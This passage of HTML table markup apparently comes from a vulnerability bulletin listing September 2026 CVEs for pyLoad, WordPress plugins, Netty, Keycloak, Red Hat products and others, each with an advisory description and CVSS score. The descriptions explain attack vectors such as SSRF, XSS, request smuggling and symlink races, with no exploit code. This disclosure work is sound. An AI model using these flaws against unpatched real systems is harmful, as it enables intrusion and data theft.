&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92973&quot; target=&quot;_blank&quot;&gt;CVE-2026-92973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pyload--pyload&lt;/td&gt;
&lt;td&gt;pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, EventManager in src/pyload/core/managers/event_manager.py appends a Client object to the clients list for each unique uuid submitted to the authenticated getEvents API endpoint, but get_events does not invoke the available clean method to remove inactive clients. An authenticated user can repeatedly submit unique UUID values, causing retained client objects and process memory to grow without bound even after requests stop. The resulting memory exhaustion can trigger an operating-system out-of-memory termination of pyLoad or host-wide instability and denial of service. This issue is fixed in version 0.5.0b3.dev101.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48987&quot; target=&quot;_blank&quot;&gt;CVE-2026-48987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pyload--pyload&lt;/td&gt;
&lt;td&gt;pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev101, is_global_address in src/pyload/core/utils/web/check.py relies on Python&#039;s global-address classification without examining IPv4 destinations embedded in 6to4 or NAT64 IPv6 addresses. A low-privileged user can submit an IPv6 literal through parse_urls to the pre-resolution is_global_host guard. Because host_to_ip is pinned to AF_INET, that guard does not evaluate a hostname&#039;s AAAA result. Separately, curl resolves hostnames before the pycurl PREREQFUNC in src/pyload/core/network/http/http_request.py applies the same vulnerable is_global_address check to the actual connection address, so a transition-form AAAA result can be permitted even when it terminates at an embedded loopback, private, CGNAT, or link-local IPv4 address. Exploitation requires the pyLoad host to route the applicable transition mechanism, including 6to4 on affected Python 3.9 through 3.11 deployments or NAT64 on a network with a NAT64 gateway. Successful exploitation can enable internal-network reconnaissance, timing-based confirmation, limited service disruption, or cloud metadata disclosure where the wrapped address is routable. This issue is fixed in version 0.5.0b3.dev101.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48737&quot; target=&quot;_blank&quot;&gt;CVE-2026-48737&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;QNAP Systems Inc.--QTS&lt;/td&gt;
&lt;td&gt;An improper authentication vulnerability has been reported to affect product. The remote attackers can then exploit the vulnerability to compromise the security of the system. QTS is not affected. We have already fixed the vulnerability in the following version:&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-38639&quot; target=&quot;_blank&quot;&gt;CVE-2024-38639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;QODE--Bridge - Creative Multipurpose WordPress Theme&lt;/td&gt;
&lt;td&gt;The Bridge - Creative Multipurpose WordPress Theme theme for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;circle_line&#039; Shortcode Attribute in all versions up to, and including, 30.8.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15609&quot; target=&quot;_blank&quot;&gt;CVE-2026-15609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;qodeinteractive--Qi Addons For Elementor&lt;/td&gt;
&lt;td&gt;The Qi Addons For Elementor plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;s&#039; parameter in all versions up to, and including, 1.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the Table of Contents widget to be placed on a template that renders on the WordPress search-results page (e.g., a sitewide header or footer template) with the &#039;Limit ToC to Main Page Content&#039; option left at its default value of No, so the widget scans the search-results heading that reflects the unsanitized `s` parameter.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92249&quot; target=&quot;_blank&quot;&gt;CVE-2026-92249&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Qualcomm, Inc.--Snapdragon&lt;/td&gt;
&lt;td&gt;Memory corruption while processing rear sensor IOCTL calls.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-25261&quot; target=&quot;_blank&quot;&gt;CVE-2026-25261&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;quic-go--webtransport-go&lt;/td&gt;
&lt;td&gt;webtransport-go is an implementation of the WebTransport protocol. Prior to 0.11.1, Session.parseNextCapsule() in session.go skips an unknown WebTransport capsule on the HTTP/3 request stream by calling io.ReadAll on the capsule reader, retaining the complete declared capsule body in memory. A malicious peer can send a large unknown capsule and cause a client or server to allocate memory for the full payload; QUIC flow control does not bound the total retained allocation because reading advances the flow-control window while the received bytes remain in memory. The resulting memory and resource exhaustion can disrupt or crash the affected process. This issue is fixed in version 0.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57497&quot; target=&quot;_blank&quot;&gt;CVE-2026-57497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;radius314--Bread&lt;/td&gt;
&lt;td&gt;The Bread plugin for WordPress is vulnerable to information exposure in versions up to and including 2.9.12. This is due to the lack of authentication and authorization checks on the settings export functionality (download_settings function) which is registered on the plugins_loaded hook and explicitly allows execution on non-admin (public) pages. The function exports all plugin configuration settings including the protection_password field, which is stored in plaintext. This makes it possible for unauthenticated attackers to retrieve the PDF protection password by accessing the /?export-meeting-list=1 endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4792&quot; target=&quot;_blank&quot;&gt;CVE-2026-4792&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;reallysimpleplugins--Really Simple Security&lt;/td&gt;
&lt;td&gt;Really Simple Security plugin for WordPress before 9.8.2 contains a missing authorization check vulnerability that allows authenticated low-privileged attackers to bypass enforced two-factor authentication indefinitely by exploiting an unguarded code path in the profile-page update handler. Attackers can submit a crafted POST request without the two-factor-authentication field to skip nonce verification and trigger delete_two_fa_meta(), which resets the grace period anchor timestamp on every login cycle, causing mandatory 2FA enforcement to be deferred indefinitely.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82519&quot; target=&quot;_blank&quot;&gt;CVE-2026-82519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Cryostat 4&lt;/td&gt;
&lt;td&gt;A flaw was found in the DERDecoder class within wildfly-elytron-asn1. A remote attacker can exploit this resource exhaustion vulnerability by sending a specially crafted DER (Distinguished Encoding Rules) payload. The decoder attempts to allocate excessive memory based on an inflated length value without proper validation, leading to Java Virtual Machine (JVM) memory exhaustion. This results in a remote Denial of Service (DoS) for services that process untrusted DER/ASN.1 input, including SASL (Simple Authentication and Security Layer) authentication mechanisms and X.500 certificate principal parsing paths.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10832&quot; target=&quot;_blank&quot;&gt;CVE-2026-10832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Exploit Intelligence&lt;/td&gt;
&lt;td&gt;A flaw was found in the Quarkus Qute template engine. When the {#eval} section helper processes a sub-template, it fails to pass the parent template&#039;s content type information. This bypasses standard escaping mechanisms, allowing untrusted data to be output as raw, unescaped text. This vulnerability can lead to Cross-Site Scripting (XSS) and JSON Injection, potentially allowing a remote attacker to execute arbitrary code in a user&#039;s browser or manipulate data.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93432&quot; target=&quot;_blank&quot;&gt;CVE-2026-93432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Exploit Intelligence&lt;/td&gt;
&lt;td&gt;A flaw was found in SmallRye JWT&#039;s AwsAlbKeyResolver, which is used by applications to verify JSON Web Tokens signed by AWS Application Load Balancers. When the AWS_ALB key provider is configured, the resolver constructs the key-fetch URL by directly concatenating the attacker-controlled kid header value from an inbound JWT without sanitizing path traversal characters or query-string separators. This allows an unauthenticated remote attacker to force the application server to issue GET requests to arbitrary paths on the same origin as the configured key endpoint. As a result, non-public endpoints or internal data reachable on that origin may be read by the attacker before JWT signature verification takes place.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81829&quot; target=&quot;_blank&quot;&gt;CVE-2026-81829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Advanced Cluster Management for Kubernetes 2&lt;/td&gt;
&lt;td&gt;A flaw was found in flightctl. The configureRepoHTTPSClient() function in the device-render worker builds a per-repository tls.Config (which may include InsecureSkipVerify, a custom CA bundle, or tenant-supplied mTLS client certificates) and installs it into go-git&#039;s process-global client.Protocols map via gitclient.InstallProtocol(&quot;https&quot;, ...). Because the worker renders devices for multiple organizations concurrently from a shared goroutine pool, whichever tenant&#039;s repository configuration is written last wins for all in-flight git.Clone calls. This race condition can cause one tenant&#039;s TLS settings, including InsecureSkipVerify or mTLS client credentials, to leak into another tenant&#039;s git operations.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92615&quot; target=&quot;_blank&quot;&gt;CVE-2026-92615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Advanced Cluster Management for Kubernetes 2&lt;/td&gt;
&lt;td&gt;A flaw was found in the multicluster-observability-addon. A remote attacker can access a debug endpoint without authentication, due to a misconfiguration in the underlying addon-framework library. This allows for the disclosure of sensitive operational information, such as goroutine, heap, and command-line details, after completing a basic encrypted connection. This vulnerability does not enable direct remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93685&quot; target=&quot;_blank&quot;&gt;CVE-2026-93685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s HTTP/1 decoder. Incomplete validation of malformed Transfer-Encoding headers allows a remote attacker to perform HTTP request smuggling. By sending specially crafted HTTP requests, an attacker can inject arbitrary HTTP requests, potentially bypassing security controls or accessing unauthorized resources.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93562&quot; target=&quot;_blank&quot;&gt;CVE-2026-93562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty. A remote attacker could exploit this by sending a specially crafted HTTP request that includes control characters within the chunk-size line. This bypasses the intended strict validation, allowing the attacker to inject arbitrary HTTP requests. This vulnerability can lead to HTTP request smuggling, potentially resulting in information disclosure or other unauthorized actions.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93566&quot; target=&quot;_blank&quot;&gt;CVE-2026-93566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s HTTP/1.1 decoder. This vulnerability allows a remote attacker to bypass `Transfer-Encoding` header validation by splitting the `Transfer-Encoding` field across multiple headers, with the last field containing a non-final transfer coding like `gzip` or `deflate`. This bypass can lead to HTTP request smuggling, enabling attackers to bypass security controls, desynchronize request processing, or cause requests to be processed in an unintended context.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93573&quot; target=&quot;_blank&quot;&gt;CVE-2026-93573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s `netty-codec-http` component. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP/1.1 chunk-size token that includes post-digit whitespace. This incorrect parsing of the chunk size can lead to HTTP request smuggling. This allows an attacker to bypass security controls or access unauthorized resources in proxy/backend deployments.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93574&quot; target=&quot;_blank&quot;&gt;CVE-2026-93574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s HTTP/2 stack. This vulnerability allows a remote attacker to inject prohibited characters, such as NUL, Line Feed, and Carriage Return, into HTTP/2 header field values due to insufficient validation. When these values cross an HTTP/2 to HTTP/1.1 translation boundary, they can be exploited for request smuggling, header injection, or response splitting. This could lead to unauthorized access, data manipulation, or other security bypasses.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93579&quot; target=&quot;_blank&quot;&gt;CVE-2026-93579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat AMQ Broker 7&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s HTTP/2 HpackEncoder. A remote attacker can exploit this by sending HTTP/2 SETTINGS frames with a very large MAX_HEADER_TABLE_SIZE. This causes the HpackEncoder to store an excessive number of unique headers, leading to increased CPU usage and memory consumption, ultimately resulting in a Denial of Service (DoS).&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93492&quot; target=&quot;_blank&quot;&gt;CVE-2026-93492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2&lt;/td&gt;
&lt;td&gt;A flaw was found in jwcrypto. The JWK.import_key() function validates the key_ops JWK member for duplicate values using an algorithm with O(n^2) time complexity, and the length of key_ops is not bounded. A remote, unauthenticated attacker can supply a JWK with a large key_ops array to an application that passes attacker-controlled key material to a public key-import API (reachable via ECDH-ES key agreement, OIDC dynamic client registration, DPoP, or ACME account key registration, among others) to consume excessive CPU time, resulting in a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92091&quot; target=&quot;_blank&quot;&gt;CVE-2026-92091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2&lt;/td&gt;
&lt;td&gt;A flaw was found in the containers/storage library. A crafted tar archive containing a malicious whiteout header (e.g. victim/.wh.) can cause the extraction destination directory to be replaced with an arbitrary file when processed by storage/pkg/archive.UnpackLayer, ApplyLayer, or ApplyUncompressedLayer.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79699&quot; target=&quot;_blank&quot;&gt;CVE-2026-79699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Ansible Automation Platform 2&lt;/td&gt;
&lt;td&gt;A flaw was found in the buildah/copier Go package. When used outside of Buildah by a non-root caller, a crafted tar archive containing malicious symlinks can escape the target extraction directory and create files outside the intended destination. Buildah itself uses chroot hardening and is not affected.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79705&quot; target=&quot;_blank&quot;&gt;CVE-2026-79705&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel - HawtIO 4&lt;/td&gt;
&lt;td&gt;A flaw was found in hawtio-operator. The operator holds routes/custom-host:create permission cluster-wide and writes the tenant-supplied spec.routeHostName value from the Hawtio custom resource directly into the Route spec without validation or authorization checks. A namespace edit user, who normally cannot set custom Route hostnames, can use the operator as a confused deputy to claim arbitrary externally-routable hostnames, enabling subdomain takeover and, in combination with the auto-grant OAuthClient, OAuth redirect hijack.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81303&quot; target=&quot;_blank&quot;&gt;CVE-2026-81303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel - HawtIO 4&lt;/td&gt;
&lt;td&gt;A flaw was found in hawtio-operator. When a custom Route TLS secret is configured and the operator runs at debug log level 1 or higher, the entire Route object - including the TLS private key in PEM format - is serialized to JSON and written to the operator&#039;s standard output. Operator logs are typically forwarded to centralized logging systems and readable by anyone with pods/log access in the openshift-operators namespace. Debug level 1 is a low threshold commonly enabled during troubleshooting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81320&quot; target=&quot;_blank&quot;&gt;CVE-2026-81320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel for Spring Boot 4&lt;/td&gt;
&lt;td&gt;A flaw was found in io.netty/netty-codec-memcache. The Memcache binary protocol codec incorrectly reads `keyLength` and `extrasLength` as signed Java types instead of unsigned, as specified by the protocol. A malicious Memcache server can exploit this type mismatch by sending a specially crafted response. This can lead to frame desynchronization and response smuggling, where one client&#039;s data may be inadvertently exposed to another client&#039;s response stream in proxy or cache environments.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93561&quot; target=&quot;_blank&quot;&gt;CVE-2026-93561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel for Spring Boot 4&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s `netty-handler-ssl-ocsp` component. A remote attacker can exploit this vulnerability by providing an Online Certificate Status Protocol (OCSP) response that omits the optional `nextUpdate` field. This omission causes the OCSP validation to be silently skipped, leading to applications proceeding with an unvalidated certificate. This can result in a bypass of security controls where certificate validation is expected.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93493&quot; target=&quot;_blank&quot;&gt;CVE-2026-93493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Apache Camel for Spring Boot 4&lt;/td&gt;
&lt;td&gt;A flaw was found in Netty&#039;s Online Certificate Status Protocol (OCSP) Client. The client fails to verify the &#039;id-kp-OCSPSigning&#039; Extended Key Usage (EKU) in OCSP responder certificates. A remote attacker, holding any valid certificate issued by the same Certificate Authority (CA), can exploit this by forging &#039;GOOD&#039; OCSP responses for revoked certificates. This bypasses certificate revocation checks, allowing applications using Netty&#039;s OCSP Client to accept certificates that should have been revoked, leading to an authorization bypass.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93578&quot; target=&quot;_blank&quot;&gt;CVE-2026-93578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the first broker login flow of Keycloak. When a user confirms an account-linking request from a different browser, a temporary proof is created to validate the link. However, this proof is not properly cleared after the link is established or when the user later manually removes the link. An attacker who controls the external identity can exploit this leftover proof to silently re-establish the link and gain unauthorized access to the victims account without any further confirmation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92358&quot; target=&quot;_blank&quot;&gt;CVE-2026-92358&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Admin REST API of Keycloak, an open-source identity and access management solution. The issue occurs in the group-membership endpoints where the system fails to check if a group grants administrative privileges before allowing a user to be added. This allows a delegated administrator with limited permissions to add themselves to a high-privilege group, potentially gaining full control over the entire realm.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94000&quot; target=&quot;_blank&quot;&gt;CVE-2026-94000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the Admin REST API of Keycloak, an open-source identity and access management solution. The endpoint used for deleting user credentials does not correctly check for fine-grained reset-password permissions. This allows a delegated administrator, who should be restricted from resetting passwords, to delete a user&#039;s password credentials, resulting in the user being unable to log in.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94001&quot; target=&quot;_blank&quot;&gt;CVE-2026-94001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Build of Keycloak&lt;/td&gt;
&lt;td&gt;A flaw was found in the OIDC protocol implementation of Keycloak, an open-source identity and access management solution. The issue occurs during the token refresh process when the server restores requested audiences from stored client IDs. Keycloak fails to verify if the target audience client is still enabled before issuing a new access token. This allows an application with an existing refresh token to continue obtaining valid access tokens for a disabled client, potentially bypassing administrative access controls for resource servers that rely on offline JWT validation.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93999&quot; target=&quot;_blank&quot;&gt;CVE-2026-93999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat build of Keycloak 26.4&lt;/td&gt;
&lt;td&gt;A flaw was found in the first-broker-login flow of the keycloak-services component. This component handles the initial authentication and account linking when a user logs in via an external identity provider. The issue allows an attacker to register a matching username on an external provider to trigger a collision in Keycloak, which results in the legitimate user being locked out of their account.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19607&quot; target=&quot;_blank&quot;&gt;CVE-2026-19607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in cockpit-files. A low-privileged local user can exploit this vulnerability by crafting a directory containing a symbolic link (symlink) and then using the privileged &quot;Paste as owner&quot; function. This allows for arbitrary file ownership changes outside the intended pasted directory, leading to a compromise of data integrity. In some cases, this could also lead to reduced confidentiality if the new ownership grants unauthorized read access. Exploitation requires user interaction to select a non-original owner during the paste operation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91202&quot; target=&quot;_blank&quot;&gt;CVE-2026-91202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in cockpit-files. This vulnerability allows a local attacker to exploit a timing issue, known as a symlink race condition, during privileged file operations such as changing file ownership or permissions. By manipulating directory entries and winning this race, the attacker can redirect these operations to unintended files. This could lead to unauthorized changes in file ownership and permissions on arbitrary files, potentially compromising system integrity and availability by altering system or application states or rendering services unusable.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91203&quot; target=&quot;_blank&quot;&gt;CVE-2026-91203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Red Hat--Red Hat Enterprise Linux 10&lt;/td&gt;
&lt;td&gt;A flaw was found in cockpit-files. A local unprivileged attacker can exploit a race condition during directory creation with owner assignment. By controlling a writable parent directory, the attacker can replace a newly created directory with a symbolic link (symlink) before the ownership change operation (chown) is applied. This allows the attacker to redirect the ownership change to an arbitrary file, potentially leading to information disclosure or unauthorized modification of sensitive files.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
